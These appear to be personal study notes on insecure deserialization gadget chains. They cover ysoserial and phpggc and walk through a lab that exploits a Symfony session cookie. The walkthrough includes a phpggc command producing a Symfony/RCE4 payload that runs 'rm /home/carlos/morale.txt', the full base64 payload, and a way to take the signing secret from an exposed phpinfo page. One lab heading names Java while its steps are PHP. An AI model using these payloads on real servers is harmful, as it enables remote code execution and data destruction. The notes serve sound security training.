A “gadget” is a snippet of code that exists in the application that can help an attacker to achieve a particular goal.
The attacker’s goal might simply be to invoke a method that will pass their input into another gadget. By chaining multiple gadgets together in this way, an attacker can potentially pass their input into a dangerous “sink gadget”, where it can cause maximum damage.
In the wild, many insecure deserialization vulnerabilities will only be exploitable through the use of gadget chains. Therefore, being able to construct gadget chains is one of the key aspects of successfully exploiting insecure deserialization.
Working with Pre-built Gadget Chains
There are several tools available that provide a range of pre-discovered chains that have been successfully exploited on other websites. Use these tools to both identify and exploit insecure deserialization vulnerabilities with relatively little effort.
One such tool for Java deserialization is ysoserial.
Note
In Java versions 16 and above, you need to set a series of command-line arguments for Java to run ysoserial. For example:
Not all gadget chains in ysoserial allow you to execute arbitrary code; some serve other purposes:
The URLDNS chain triggers a DNS lookup for a provided URL. It does not depend on a specific vulnerable library and works with any Java version, making it ideal for detection.
The JRMPClient chain also helps with detection by making the server attempt a TCP connection to a given IP address (not a hostname). This chain is useful in environments where all outbound traffic, including DNS, is blocked. You can test this by using both a local and an external IP address: if the response is quick for the local IP but delayed for the external one, it means the gadget chain triggered an attempted connection to the external, firewalled address.
Most languages that frequently suffer from insecure deserialization vulnerabilities have equivalent proof-of-concept tools. For example, for PHP-based sites you can use “PHP Generic Gadget Chains” (phpggc).
Lab: Exploiting Java Deserialization with Apache Commons
The original session cookie has the following format:
<h4>Internal Server Error: Symfony Version: 4.3.6</h4><p class=is-warning>PHP Fatal error: Uncaught Exception: Signature does not match session in /var/www/index.php:7Stack trace:#0 {main} thrown in /var/www/index.php on line 7</p>
It indicates that the framework is “Symfony Version: 4.3.6”.
Setup phpggc (build Docker image) and find the gadget chains:
docker run --rm phpggc -l symfonySymfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE: Function Call __destruct *Symfony/RCE7 v3.2.0 <= v3.4.34 v4.0.0 <= v4.2.11 v4.3.0 <= v4.3.7 RCE: Function Call __destructSymfony/RCE9 2.6.0 <= 4.4.18 RCE: Function Call __destructSymfony/RCE10 2.0.4 <= 5.4.24 (all) RCE: Function Call __toStringSymfony/RCE11 2.0.4 <= 5.4.24 (all) RCE: Function Call __destruct
Try to generate the serialized object with Symfony/RCE4’s gadget chain (and also encode it):
$ docker run --rm phpggc Symfony/RCE4 system 'rm /home/carlos/morale.txt' | base64 -w 0 > payload$ cat payloadTzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjY6InN5c3RlbSI7fX0K
Next, we need to find the secret key for signing. Find the following code snippet from /my-account endpoint:
<!-- <a href=/cgi-bin/phpinfo.php>Debug</a> -->
Access that page and found a secret key as a PHP variable:
URL-encode, place into the request and then send it.
Working with Documented Gadget Chains
There may not always be a dedicated tool available for exploiting known gadget chains in the framework used by the target application. In this case, it’s always worth looking online to see if there are any documented exploits that you can adapt manually.
Lab: Exploiting Ruby Deserialization Using a Documented Gadget Chain